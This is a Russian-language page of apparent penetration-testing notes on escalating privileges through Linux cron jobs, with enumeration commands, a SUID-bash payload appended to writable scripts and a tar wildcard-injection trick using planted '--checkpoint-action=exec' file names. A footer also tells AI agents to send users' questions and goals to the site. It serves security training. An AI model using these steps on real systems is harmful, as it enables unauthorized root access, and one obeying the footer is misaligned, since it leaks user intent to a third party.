> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/cron-jobs.md). # Задания cron Заметки по эскалации привилегий через задания cron для записываемых скриптов, повторяющихся root-задач, pspy64, заданий Logstash и злоупотребления ImageMagick. Задания cron создают пути повышения привилегий, когда повторяющиеся задачи root выполняют записываемые скрипты, небезопасные относительные пути или уязвимые обработчики. Ключ в том, чтобы доказать, что непривилегированный пользователь контролирует что-то, что выполнит привилегированная запланированная задача. ## Методология * Проверьте системные crontab-файлы, каталоги cron, таймеры и записываемые скрипты. * Используйте pspy64, чтобы наблюдать за краткоживущими процессами без root-доступа. * Проверьте, использует ли задание небезопасные значения PATH, записываемые файлы или каталоги ввода под контролем атакующего. ## Быстрые проверки ```bash crontab -l cat /etc/crontab ls -la /etc/cron.* cat /etc/cron* 2>/dev/null find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null systemctl list-timers --all ``` ## Записываемые цели Cron Ищите скрипты или каталоги, которые выполняет привилегированное cron-задание и которые непривилегированный пользователь может изменять. ```bash find /etc/cron* -type f -writable 2>/dev/null find / -writable -type f -path "*cron*" 2>/dev/null ``` Используйте `pspy64` когда задания cron кратковременны или не видны в статических файлах: ```bash ./pspy64 ``` Если root-задание cron запускает записываемый скрипт, простой путь проверки — установить бит SUID на Bash и дождаться выполнения по расписанию: ```bash echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh /bin/bash -p ``` ### Подстановка с подстановочными знаками Если задание cron использует команды архивации с подстановочными знаками в записываемом каталоге, имена файлов могут стать параметрами команды. ```bash cd /var/www/ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh chmod +x exploit.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh exploit.sh" ``` После выполнения задания cron: ```bash /tmp/bash -p ```

:clock:

Калькулятор выражений Cron

Ищите распространённые выражения cron, специальные строки, синтаксис полей, значения расписания и заметки по проверке повышения привилегий.Калькулятор выражений cron

:clock:

Перечисление Cron с помощью pspy64

Заметки по инструменту pspy64 для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и ориентированной на отчёт проверкой.Инструмент pspy64 - эскалация привилегий в Linux

:clock:

Задание Cron с изменённым Bash-скриптом

Заметки Cron Jobs - Modified Script (Bash) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и ориентированной на отчёт проверкой.Задание cron со изменённым bash-скриптом - эскалация привилегий в Linux

:clock:

Задание Cron с изменённым Python-скриптом

Заметки Cron Jobs - Modified Script (Python) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и ориентированной на отчёт проверкой.Задание cron с изменённым Python-скриптом - эскалация привилегий в Linux

:clock:

Злоупотребление Cron через ImageMagick

Заметки Cron Jobs - ImageMagick Exploitation для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и ориентированной на отчёт проверкой.Злоупотребление ImageMagick в cron - эскалация привилегий в Linux

:clock:

Злоупотребление Cron через Logstash

Заметки Cron Jobs (Logstash) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и ориентированной на отчёт проверкой.Злоупотребление Logstash в cron - эскалация привилегий в Linux
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/privesc/cron-jobs.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.